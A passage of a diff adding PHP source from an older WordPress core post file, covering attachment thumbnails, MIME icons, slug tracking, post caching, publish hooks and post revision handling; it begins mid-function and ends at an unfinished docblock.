+
+	if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) )
+		return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
+	return false;
+}
+
+/**
+ * Retrieve URL for an attachment thumbnail.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID
+ * @return string|bool False on failure. Thumbnail URL on success.
+ */
+function wp_get_attachment_thumb_url( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+	if ( !$url = wp_get_attachment_url( $post->ID ) )
+		return false;
+
+	$sized = image_downsize( $post_id, 'thumbnail' );
+	if ( $sized )
+		return $sized[0];
+
+	if ( !$thumb = wp_get_attachment_thumb_file( $post->ID ) )
+		return false;
+
+	$url = str_replace(basename($url), basename($thumb), $url);
+
+	return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID );
+}
+
+/**
+ * Check if the attachment is an image.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Attachment ID
+ * @return bool
+ */
+function wp_attachment_is_image( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post =& get_post( $post_id ) )
+		return false;
+
+	if ( !$file = get_attached_file( $post->ID ) )
+		return false;
+
+	$ext = preg_match('/\.([^.]+)$/', $file, $matches) ? strtolower($matches[1]) : false;
+
+	$image_exts = array('jpg', 'jpeg', 'gif', 'png');
+
+	if ( 'image/' == substr($post->post_mime_type, 0, 6) || $ext && 'import' == $post->post_mime_type && in_array($ext, $image_exts) )
+		return true;
+	return false;
+}
+
+/**
+ * Retrieve the icon for a MIME type.
+ *
+ * @since 2.1.0
+ *
+ * @param string $mime MIME type
+ * @return string|bool
+ */
+function wp_mime_type_icon( $mime = 0 ) {
+	if ( !is_numeric($mime) )
+		$icon = wp_cache_get("mime_type_icon_$mime");
+	if ( empty($icon) ) {
+		$post_id = 0;
+		$post_mimes = array();
+		if ( is_numeric($mime) ) {
+			$mime = (int) $mime;
+			if ( $post =& get_post( $mime ) ) {
+				$post_id = (int) $post->ID;
+				$ext = preg_replace('/^.+?\.([^.]+)$/', '$1', $post->guid);
+				if ( !empty($ext) ) {
+					$post_mimes[] = $ext;
+					if ( $ext_type = wp_ext2type( $ext ) )
+						$post_mimes[] = $ext_type;
+				}
+				$mime = $post->post_mime_type;
+			} else {
+				$mime = 0;
+			}
+		} else {
+			$post_mimes[] = $mime;
+		}
+
+		$icon_files = wp_cache_get('icon_files');
+
+		if ( !is_array($icon_files) ) {
+			$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/crystal' );
+			$icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url('images/crystal') );
+			$dirs = apply_filters( 'icon_dirs', array($icon_dir => $icon_dir_uri) );
+			$icon_files = array();
+			while ( $dirs ) {
+				$dir = array_shift($keys = array_keys($dirs));
+				$uri = array_shift($dirs);
+				if ( $dh = opendir($dir) ) {
+					while ( false !== $file = readdir($dh) ) {
+						$file = basename($file);
+						if ( substr($file, 0, 1) == '.' )
+							continue;
+						if ( !in_array(strtolower(substr($file, -4)), array('.png', '.gif', '.jpg') ) ) {
+							if ( is_dir("$dir/$file") )
+								$dirs["$dir/$file"] = "$uri/$file";
+							continue;
+						}
+						$icon_files["$dir/$file"] = "$uri/$file";
+					}
+					closedir($dh);
+				}
+			}
+			wp_cache_set('icon_files', $icon_files, 600);
+		}
+
+		// Icon basename - extension = MIME wildcard
+		foreach ( $icon_files as $file => $uri )
+			$types[ preg_replace('/^([^.]*).*$/', '$1', basename($file)) ] =& $icon_files[$file];
+
+		if ( ! empty($mime) ) {
+			$post_mimes[] = substr($mime, 0, strpos($mime, '/'));
+			$post_mimes[] = substr($mime, strpos($mime, '/') + 1);
+			$post_mimes[] = str_replace('/', '_', $mime);
+		}
+
+		$matches = wp_match_mime_types(array_keys($types), $post_mimes);
+		$matches['default'] = array('default');
+
+		foreach ( $matches as $match => $wilds ) {
+			if ( isset($types[$wilds[0]])) {
+				$icon = $types[$wilds[0]];
+				if ( !is_numeric($mime) )
+					wp_cache_set("mime_type_icon_$mime", $icon);
+				break;
+			}
+		}
+	}
+
+	return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id ); // Last arg is 0 if function pass mime type.
+}
+
+/**
+ * Checked for changed slugs for published posts and save old slug.
+ *
+ * The function is used along with form POST data. It checks for the wp-old-slug
+ * POST field. Will only be concerned with published posts and the slug actually
+ * changing.
+ *
+ * If the slug was changed and not already part of the old slugs then it will be
+ * added to the post meta field ('_wp_old_slug') for storing old slugs for that
+ * post.
+ *
+ * The most logically usage of this function is redirecting changed posts, so
+ * that those that linked to an changed post will be redirected to the new post.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Post ID.
+ * @return int Same as $post_id
+ */
+function wp_check_for_changed_slugs($post_id) {
+	if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
+		return $post_id;
+
+	$post = &get_post($post_id);
+
+	// we're only concerned with published posts
+	if ( $post->post_status != 'publish' || $post->post_type != 'post' )
+		return $post_id;
+
+	// only bother if the slug has changed
+	if ( $post->post_name == $_POST['wp-old-slug'] )
+		return $post_id;
+
+	$old_slugs = (array) get_post_meta($post_id, '_wp_old_slug');
+
+	// if we haven't added this old slug before, add it now
+	if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
+		add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
+
+	// if the new slug was used previously, delete it from the list
+	if ( in_array($post->post_name, $old_slugs) )
+		delete_post_meta($post_id, '_wp_old_slug', $post->post_name);
+
+	return $post_id;
+}
+
+/**
+ * Retrieve the private post SQL based on capability.
+ *
+ * This function provides a standardized way to appropriately select on the
+ * post_status of posts/pages. The function will return a piece of SQL code that
+ * can be added to a WHERE clause; this SQL is constructed to allow all
+ * published posts, and all private posts to which the user has access.
+ *
+ * It also allows plugins that define their own post type to control the cap by
+ * using the hook 'pub_priv_sql_capability'. The plugin is expected to return
+ * the capability the user must have to read the private post type.
+ *
+ * @since 2.2.0
+ *
+ * @uses $user_ID
+ * @uses apply_filters() Call 'pub_priv_sql_capability' filter for plugins with different post types.
+ *
+ * @param string $post_type currently only supports 'post' or 'page'.
+ * @return string SQL code that can be added to a where clause.
+ */
+function get_private_posts_cap_sql($post_type) {
+	global $user_ID;
+	$cap = '';
+
+	// Private posts
+	if ($post_type == 'post') {
+		$cap = 'read_private_posts';
+	// Private pages
+	} elseif ($post_type == 'page') {
+		$cap = 'read_private_pages';
+	// Dunno what it is, maybe plugins have their own post type?
+	} else {
+		$cap = apply_filters('pub_priv_sql_capability', $cap);
+
+		if (empty($cap)) {
+			// We don't know what it is, filters don't change anything,
+			// so set the SQL up to return nothing.
+			return '1 = 0';
+		}
+	}
+
+	$sql = '(post_status = \'publish\'';
+
+	if (current_user_can($cap)) {
+		// Does the user have the capability to view private posts? Guess so.
+		$sql .= ' OR post_status = \'private\'';
+	} elseif (is_user_logged_in()) {
+		// Users can view their own private posts.
+		$sql .= ' OR post_status = \'private\' AND post_author = \'' . $user_ID . '\'';
+	}
+
+	$sql .= ')';
+
+	return $sql;
+}
+
+/**
+ * Retrieve the date the the last post was published.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is the date when the last post was posted. The
+ * 'gmt' is when the last post was posted in GMT formatted date.
+ *
+ * @since 0.71
+ *
+ * @uses $wpdb
+ * @uses $blog_id
+ * @uses apply_filters() Calls 'get_lastpostdate' filter
+ *
+ * @global mixed $cache_lastpostdate Stores the last post date
+ * @global mixed $pagenow The current page being viewed
+ *
+ * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'.
+ * @return string The date of the last post.
+ */
+function get_lastpostdate($timezone = 'server') {
+	global $cache_lastpostdate, $wpdb, $blog_id;
+	$add_seconds_server = date('Z');
+	if ( !isset($cache_lastpostdate[$blog_id][$timezone]) ) {
+		switch(strtolower($timezone)) {
+			case 'gmt':
+				$lastpostdate = $wpdb->get_var("SELECT post_date_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1");
+				break;
+			case 'blog':
+				$lastpostdate = $wpdb->get_var("SELECT post_date FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1");
+				break;
+			case 'server':
+				$lastpostdate = $wpdb->get_var("SELECT DATE_ADD(post_date_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date_gmt DESC LIMIT 1");
+				break;
+		}
+		$cache_lastpostdate[$blog_id][$timezone] = $lastpostdate;
+	} else {
+		$lastpostdate = $cache_lastpostdate[$blog_id][$timezone];
+	}
+	return apply_filters( 'get_lastpostdate', $lastpostdate, $timezone );
+}
+
+/**
+ * Retrieve last post modified date depending on timezone.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is just when the last post was modified. The
+ * 'gmt' is when the last post was modified in GMT time.
+ *
+ * @since 1.2.0
+ * @uses $wpdb
+ * @uses $blog_id
+ * @uses apply_filters() Calls 'get_lastpostmodified' filter
+ *
+ * @global mixed $cache_lastpostmodified Stores the date the last post was modified
+ *
+ * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'.
+ * @return string The date the post was last modified.
+ */
+function get_lastpostmodified($timezone = 'server') {
+	global $cache_lastpostmodified, $wpdb, $blog_id;
+	$add_seconds_server = date('Z');
+	if ( !isset($cache_lastpostmodified[$blog_id][$timezone]) ) {
+		switch(strtolower($timezone)) {
+			case 'gmt':
+				$lastpostmodified = $wpdb->get_var("SELECT post_modified_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1");
+				break;
+			case 'blog':
+				$lastpostmodified = $wpdb->get_var("SELECT post_modified FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1");
+				break;
+			case 'server':
+				$lastpostmodified = $wpdb->get_var("SELECT DATE_ADD(post_modified_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_modified_gmt DESC LIMIT 1");
+				break;
+		}
+		$lastpostdate = get_lastpostdate($timezone);
+		if ( $lastpostdate > $lastpostmodified ) {
+			$lastpostmodified = $lastpostdate;
+		}
+		$cache_lastpostmodified[$blog_id][$timezone] = $lastpostmodified;
+	} else {
+		$lastpostmodified = $cache_lastpostmodified[$blog_id][$timezone];
+	}
+	return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone );
+}
+
+/**
+ * Updates posts in cache.
+ *
+ * @usedby update_page_cache() Aliased by this function.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 1.5.1
+ *
+ * @param array $posts Array of post objects
+ */
+function update_post_cache(&$posts) {
+	if ( !$posts )
+		return;
+
+	foreach ( $posts as $post )
+		wp_cache_add($post->ID, $post, 'posts');
+}
+
+/**
+ * Will clean the post in the cache.
+ *
+ * Cleaning means delete from the cache of the post. Will call to clean the term
+ * object cache associated with the post ID.
+ *
+ * clean_post_cache() will call itself recursively for each child post.
+ *
+ * This function not run if $_wp_suspend_cache_invalidation is not empty. See
+ * wp_suspend_cache_invalidation().
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 2.0.0
+ *
+ * @uses do_action() Calls 'clean_post_cache' on $id before adding children (if any).
+ *
+ * @param int $id The Post ID in the cache to clean
+ */
+function clean_post_cache($id) {
+	global $_wp_suspend_cache_invalidation, $wpdb;
+
+	if ( !empty($_wp_suspend_cache_invalidation) )
+		return;
+
+	$id = (int) $id;
+
+	wp_cache_delete($id, 'posts');
+	wp_cache_delete($id, 'post_meta');
+
+	clean_object_term_cache($id, 'post');
+
+	wp_cache_delete( 'wp_get_archives', 'general' );
+
+	do_action('clean_post_cache', $id);
+
+	if ( $children = $wpdb->get_col( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_parent = %d", $id) ) ) {
+		foreach( $children as $cid )
+			clean_post_cache( $cid );
+	}
+}
+
+/**
+ * Alias of update_post_cache().
+ *
+ * @see update_post_cache() Posts and pages are the same, alias is intentional
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 1.5.1
+ *
+ * @param array $pages list of page objects
+ */
+function update_page_cache(&$pages) {
+	update_post_cache($pages);
+}
+
+/**
+ * Will clean the page in the cache.
+ *
+ * Clean (read: delete) page from cache that matches $id. Will also clean cache
+ * associated with 'all_page_ids' and 'get_pages'.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 2.0.0
+ *
+ * @uses do_action() Will call the 'clean_page_cache' hook action.
+ *
+ * @param int $id Page ID to clean
+ */
+function clean_page_cache($id) {
+	clean_post_cache($id);
+
+	wp_cache_delete( 'all_page_ids', 'posts' );
+	wp_cache_delete( 'get_pages', 'posts' );
+
+	do_action('clean_page_cache', $id);
+}
+
+/**
+ * Call major cache updating functions for list of Post objects.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 1.5.0
+ *
+ * @uses $wpdb
+ * @uses update_post_cache()
+ * @uses update_object_term_cache()
+ * @uses update_postmeta_cache()
+ *
+ * @param array $posts Array of Post objects
+ */
+function update_post_caches(&$posts) {
+	// No point in doing all this work if we didn't match any posts.
+	if ( !$posts )
+		return;
+
+	update_post_cache($posts);
+
+	$post_ids = array();
+
+	for ($i = 0; $i < count($posts); $i++)
+		$post_ids[] = $posts[$i]->ID;
+
+	update_object_term_cache($post_ids, 'post');
+
+	update_postmeta_cache($post_ids);
+}
+
+/**
+ * Updates metadata cache for list of post IDs.
+ *
+ * Performs SQL query to retrieve the metadata for the post IDs and updates the
+ * metadata cache for the posts. Therefore, the functions, which call this
+ * function, do not need to perform SQL queries on their own.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 2.1.0
+ *
+ * @uses $wpdb
+ *
+ * @param array $post_ids List of post IDs.
+ * @return bool|array Returns false if there is nothing to update or an array of metadata.
+ */
+function update_postmeta_cache($post_ids) {
+	global $wpdb;
+
+	if ( empty( $post_ids ) )
+		return false;
+
+	if ( !is_array($post_ids) ) {
+		$post_ids = preg_replace('|[^0-9,]|', '', $post_ids);
+		$post_ids = explode(',', $post_ids);
+	}
+
+	$post_ids = array_map('intval', $post_ids);
+
+	$ids = array();
+	foreach ( (array) $post_ids as $id ) {
+		if ( false === wp_cache_get($id, 'post_meta') )
+			$ids[] = $id;
+	}
+
+	if ( empty( $ids ) )
+		return false;
+
+	// Get post-meta info
+	$id_list = join(',', $ids);
+	$cache = array();
+	if ( $meta_list = $wpdb->get_results("SELECT post_id, meta_key, meta_value FROM $wpdb->postmeta WHERE post_id IN ($id_list)", ARRAY_A) ) {
+		foreach ( (array) $meta_list as $metarow) {
+			$mpid = (int) $metarow['post_id'];
+			$mkey = $metarow['meta_key'];
+			$mval = $metarow['meta_value'];
+
+			// Force subkeys to be array type:
+			if ( !isset($cache[$mpid]) || !is_array($cache[$mpid]) )
+				$cache[$mpid] = array();
+			if ( !isset($cache[$mpid][$mkey]) || !is_array($cache[$mpid][$mkey]) )
+				$cache[$mpid][$mkey] = array();
+
+			// Add a value to the current pid/key:
+			$cache[$mpid][$mkey][] = $mval;
+		}
+	}
+
+	foreach ( (array) $ids as $id ) {
+		if ( ! isset($cache[$id]) )
+			$cache[$id] = array();
+	}
+
+	foreach ( (array) array_keys($cache) as $post)
+		wp_cache_set($post, $cache[$post], 'post_meta');
+
+	return $cache;
+}
+
+//
+// Hooks
+//
+
+/**
+ * Hook for managing future post transitions to published.
+ *
+ * @since 2.3.0
+ * @access private
+ * @uses $wpdb
+ * @uses do_action() Calls 'private_to_published' on post ID if this is a 'private_to_published' call.
+ * @uses wp_clear_scheduled_hook() with 'publish_future_post' and post ID.
+ *
+ * @param string $new_status New post status
+ * @param string $old_status Previous post status
+ * @param object $post Object type containing the post information
+ */
+function _transition_post_status($new_status, $old_status, $post) {
+	global $wpdb;
+
+	if ( $old_status != 'publish' && $new_status == 'publish' ) {
+		// Reset GUID if transitioning to publish and it is empty
+		if ( '' == get_the_guid($post->ID) )
+			$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) );
+		do_action('private_to_published', $post->ID);  // Deprecated, use private_to_publish
+		// do generic pings once per hour at most
+		if ( !wp_next_scheduled('do_generic_ping') )
+			wp_schedule_single_event(time() + 3600, 'do_generic_ping');
+	}
+
+	// Always clears the hook in case the post status bounced from future to draft.
+	wp_clear_scheduled_hook('publish_future_post', $post->ID);
+}
+
+/**
+ * Hook used to schedule publication for a post marked for the future.
+ *
+ * The $post properties used and must exist are 'ID' and 'post_date_gmt'.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int $deprecated Not Used. Can be set to null.
+ * @param object $post Object type containing the post information
+ */
+function _future_post_hook($deprecated = '', $post) {
+	wp_clear_scheduled_hook( 'publish_future_post', $post->ID );
+	wp_schedule_single_event(strtotime($post->post_date_gmt. ' GMT'), 'publish_future_post', array($post->ID));
+}
+
+/**
+ * Hook to schedule pings and enclosures when a post is published.
+ *
+ * @since 2.3.0
+ * @access private
+ * @uses $wpdb
+ * @uses XMLRPC_REQUEST and APP_REQUEST constants.
+ * @uses do_action() Calls 'xmlprc_publish_post' on post ID if XMLRPC_REQUEST is defined.
+ * @uses do_action() Calls 'app_publish_post' on post ID if APP_REQUEST is defined.
+ *
+ * @param int $post_id The ID in the database table of the post being published
+ */
+function _publish_post_hook($post_id) {
+	global $wpdb;
+
+	if ( defined('XMLRPC_REQUEST') )
+		do_action('xmlrpc_publish_post', $post_id);
+	if ( defined('APP_REQUEST') )
+		do_action('app_publish_post', $post_id);
+
+	if ( defined('WP_IMPORTING') )
+		return;
+
+	$data = array( 'post_id' => $post_id, 'meta_value' => '1' );
+	if ( get_option('default_pingback_flag') )
+		$wpdb->insert( $wpdb->postmeta, $data + array( 'meta_key' => '_pingme' ) );
+	$wpdb->insert( $wpdb->postmeta, $data + array( 'meta_key' => '_encloseme' ) );
+	wp_schedule_single_event(time(), 'do_pings');
+}
+
+/**
+ * Hook used to prevent page/post cache and rewrite rules from staying dirty.
+ *
+ * Does two things. If the post is a page and has a template then it will
+ * update/add that template to the meta. For both pages and posts, it will clean
+ * the post cache to make sure that the cache updates to the changes done
+ * recently. For pages, the rewrite rules of WordPress are flushed to allow for
+ * any changes.
+ *
+ * The $post parameter, only uses 'post_type' property and 'page_template'
+ * property.
+ *
+ * @since 2.3.0
+ * @access private
+ * @uses $wp_rewrite Flushes Rewrite Rules.
+ *
+ * @param int $post_id The ID in the database table for the $post
+ * @param object $post Object type containing the post information
+ */
+function _save_post_hook($post_id, $post) {
+	if ( $post->post_type == 'page' ) {
+		clean_page_cache($post_id);
+		// Avoid flushing rules for every post during import.
+		if ( !defined('WP_IMPORTING') ) {
+			global $wp_rewrite;
+			$wp_rewrite->flush_rules(false);
+		}
+	} else {
+		clean_post_cache($post_id);
+	}
+}
+
+/**
+ * Retrieve post ancestors and append to post ancestors property.
+ *
+ * Will only retrieve ancestors once, if property is already set, then nothing
+ * will be done. If there is not a parent post, or post ID and post parent ID
+ * are the same then nothing will be done.
+ *
+ * The parameter is passed by reference, so nothing needs to be returned. The
+ * property will be updated and can be referenced after the function is
+ * complete. The post parent will be an ancestor and the parent of the post
+ * parent will be an ancestor. There will only be two ancestors at the most.
+ *
+ * @since unknown
+ * @access private
+ * @uses $wpdb
+ *
+ * @param object $_post Post data.
+ * @return null When nothing needs to be done.
+ */
+function _get_post_ancestors(&$_post) {
+	global $wpdb;
+
+	if ( isset($_post->ancestors) )
+		return;
+
+	$_post->ancestors = array();
+
+	if ( empty($_post->post_parent) || $_post->ID == $_post->post_parent )
+		return;
+
+	$id = $_post->ancestors[] = $_post->post_parent;
+	while ( $ancestor = $wpdb->get_var( $wpdb->prepare("SELECT `post_parent` FROM $wpdb->posts WHERE ID = %d LIMIT 1", $id) ) ) {
+		if ( $id == $ancestor )
+			break;
+		$id = $_post->ancestors[] = $ancestor;
+	}
+}
+
+/**
+ * Determines which fields of posts are to be saved in revisions.
+ *
+ * Does two things. If passed a post *array*, it will return a post array ready
+ * to be insterted into the posts table as a post revision. Otherwise, returns
+ * an array whose keys are the post fields to be saved for post revisions.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ * @access private
+ * @uses apply_filters() Calls '_wp_post_revision_fields' on 'title', 'content' and 'excerpt' fields.
+ *
+ * @param array $post Optional a post array to be processed for insertion as a post revision.
+ * @param bool $autosave optional Is the revision an autosave?
+ * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned.
+ */
+function _wp_post_revision_fields( $post = null, $autosave = false ) {
+	static $fields = false;
+
+	if ( !$fields ) {
+		// Allow these to be versioned
+		$fields = array(
+			'post_title' => __( 'Title' ),
+			'post_content' => __( 'Content' ),
+			'post_excerpt' => __( 'Excerpt' ),
+		);
+
+		// Runs only once
+		$fields = apply_filters( '_wp_post_revision_fields', $fields );
+
+		// WP uses these internally either in versioning or elsewhere - they cannot be versioned
+		foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect )
+			unset( $fields[$protect] );
+	}
+
+	if ( !is_array($post) )
+		return $fields;
+
+	$return = array();
+	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field )
+		$return[$field] = $post[$field];
+
+	$return['post_parent']   = $post['ID'];
+	$return['post_status']   = 'inherit';
+	$return['post_type']     = 'revision';
+	$return['post_name']     = $autosave ? "$post[ID]-autosave" : "$post[ID]-revision";
+	$return['post_date']     = isset($post['post_modified']) ? $post['post_modified'] : '';
+	$return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : '';
+
+	return $return;
+}
+
+/**
+ * Saves an already existing post as a post revision.
+ *
+ * Typically used immediately prior to post updates.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses _wp_put_post_revision()
+ *
+ * @param int $post_id The ID of the post to save as a revision.
+ * @return mixed Null or 0 if error, new revision ID, if success.
+ */
+function wp_save_post_revision( $post_id ) {
+	// We do autosaves manually with wp_create_post_autosave()
+	if ( @constant( 'DOING_AUTOSAVE' ) )
+		return;
+
+	// WP_POST_REVISIONS = 0, false
+	if ( !constant('WP_POST_REVISIONS') )
+		return;
+
+	if ( !$post = get_post( $post_id, ARRAY_A ) )
+		return;
+
+	if ( !in_array( $post['post_type'], array( 'post', 'page' ) ) )
+		return;
+
+	$return = _wp_put_post_revision( $post );
+
+	// WP_POST_REVISIONS = true (default), -1
+	if ( !is_numeric( WP_POST_REVISIONS ) || WP_POST_REVISIONS < 0 )
+		return $return;
+
+	// all revisions and (possibly) one autosave
+	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );
+
+	// WP_POST_REVISIONS = (int) (# of autasaves to save)
+	$delete = count($revisions) - WP_POST_REVISIONS;
+
+	if ( $delete < 1 )
+		return $return;
+
+	$revisions = array_slice( $revisions, 0, $delete );
+
+	for ( $i = 0; isset($revisions[$i]); $i++ ) {
+		if ( false !== strpos( $revisions[$i]->post_name, 'autosave' ) )
+			continue;
+		wp_delete_post_revision( $revisions[$i]->ID );
+	}
+
+	return $return;
+}
+
+/**
+ * Retrieve the autosaved data of the specified post.
+ *
+ * Returns a post object containing the information that was autosaved for the
+ * specified post.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @param int $post_id The post ID.
+ * @return object|bool The autosaved data or false on failure or when no autosave exists.
+ */
+function wp_get_post_autosave( $post_id ) {
+
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	$q = array(
+		'name' => "{$post->ID}-autosave",
+		'post_parent' => $post->ID,
+		'post_type' => 'revision',
+		'post_status' => 'inherit'
+	);
+
+	// Use WP_Query so that the result gets cached
+	$autosave_query = new WP_Query;
+
+	add_action( 'parse_query', '_wp_get_post_autosave_hack' );
+	$autosave = $autosave_query->query( $q );
+	remove_action( 'parse_query', '_wp_get_post_autosave_hack' );
+
+	if ( $autosave && is_array($autosave) && is_object($autosave[0]) )
+		return $autosave[0];
+
+	return false;
+}
+
+/**
+ * Internally used to hack WP_Query into submission.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @param object $query WP_Query object
+ */
+function _wp_get_post_autosave_hack( $query ) {
+	$query->is_single = false;
+}
+
+/**
+ * Determines if the specified post is a revision.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @param int|object $post Post ID or post object.
+ * @return bool|int False if not a revision, ID of revision's parent otherwise.
+ */
+function wp_is_post_revision( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+	return (int) $post->post_parent;
+}
+
+/**
+ * Determines if the specified post is an autosave.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @param int|object $post Post ID or post object.
+ * @return bool|int False if not a revision, ID of autosave's parent otherwise
+ */
+function wp_is_post_autosave( $post ) {
+	if ( !$post = wp_get_post_revision( $post ) )
+		return false;
+	if ( "{$post->post_parent}-autosave" !== $post->post_name )
+		return false;
+	return (int) $post->post_parent;
+}
+
+/**
+ * Inserts post data into the posts table as a post revision.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses wp_insert_post()
+ *
+ * @param int|object|array $post Post ID, post object OR post array.
+ * @param bool $autosave Optional. Is the revision an autosave?
+ * @return mixed Null or 0 if error, new revision ID if success.
+ */
+function _wp_put_post_revision( $post = null, $autosave = false ) {
+	if ( is_object($post) )
+		$post = get_object_vars( $post );
+	elseif ( !is_array($post) )
+		$post = get_post($post, ARRAY_A);
+	if ( !$post || empty($post['ID']) )
+		return;
+
+	if ( isset($post['post_type']) && 'revision' == $post['post_type'] )
+		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
+
+	$post = _wp_post_revision_fields( $post, $autosave );
+	$post = add_magic_quotes($post); //since data is from db
+
+	$revision_id = wp_insert_post( $post );
+	if ( is_wp_error($revision_id) )
+		return $revision_id;
+
+	if ( $revision_id )
+		do_action( '_wp_put_post_revision', $revision_id );
+	return $revision_id;
+}
+
+/**
+ * Gets a post revision.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses get_post()
+ *
+ * @param int|object $post Post ID or post object
+ * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N.
+ * @param string $filter Optional sanitation filter.  @see sanitize_post()
+ * @return mixed Null if error or post object if success
+ */
+function &wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') {
+	$null = null;
+	if ( !$revision = get_post( $post, OBJECT, $filter ) )
+		return $revision;
+	if ( 'revision' !== $revision->post_type )
+		return $null;
+
+	if ( $output == OBJECT ) {
+		return $revision;
+	} elseif ( $output == ARRAY_A ) {
+		$_revision = get_object_vars($revision);
+		return $_revision;
+	} elseif ( $output == ARRAY_N ) {
+		$_revision = array_values(get_object_vars($revision));
+		return $_revision;
+	}
+
+	return $revision;
+}
+
+/**
+ * Restores a post to the specified revision.
+ *
+ * Can restore a past revision using all fields of the post revision, or only selected fields.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses wp_get_post_revision()
+ * @uses wp_update_post()
+ * @uses do_action() Calls 'wp_restore_post_revision' on post ID and revision ID if wp_update_post()
+ *  is successful.
+ *
+ * @param int|object $revision_id Revision ID or revision object.
+ * @param array $fields Optional. What fields to restore from. Defaults to all.
+ * @return mixed Null if error, false if no fields to restore, (int) post ID if success.
+ */
+function wp_restore_post_revision( $revision_id, $fields = null ) {
+	if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) )
+		return $revision;
+
+	if ( !is_array( $fields ) )
+		$fields = array_keys( _wp_post_revision_fields() );
+
+	$update = array();
+	foreach( array_intersect( array_keys( $revision ), $fields ) as $field )
+		$update[$field] = $revision[$field];
+
+	if ( !$update )
+		return false;
+
+	$update['ID'] = $revision['post_parent'];
+
+	$update = add_magic_quotes( $update ); //since data is from db
+
+	$post_id = wp_update_post( $update );
+	if ( is_wp_error( $post_id ) )
+		return $post_id;
+
+	if ( $post_id )
+		do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );
+
+	return $post_id;
+}
+
+/**
+ * Deletes a revision.
+ *
+ * Deletes the row from the posts table corresponding to the specified revision.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses wp_get_post_revision()
+ * @uses wp_delete_post()
+ *
+ * @param int|object $revision_id Revision ID or revision object.
+ * @param array $fields Optional. What fields to restore from.  Defaults to all.
+ * @return mixed Null if error, false if no fields to restore, (int) post ID if success.
+ */
+function wp_delete_post_revision( $revision_id ) {
+	if ( !$revision = wp_get_post_revision( $revision_id ) )
+		return $revision;
+
+	$delete = wp_delete_post( $revision->ID );
+	if ( is_wp_error( $delete ) )
+		return $delete;
+
+	if ( $delete )
+		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
+
+	return $delete;
+}
+
+/**
+ * Returns all revisions of specified post.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses get_children()
+ *
+ * @param int|object $post_id Post ID or post object
+ * @return array empty if no revisions
+ */
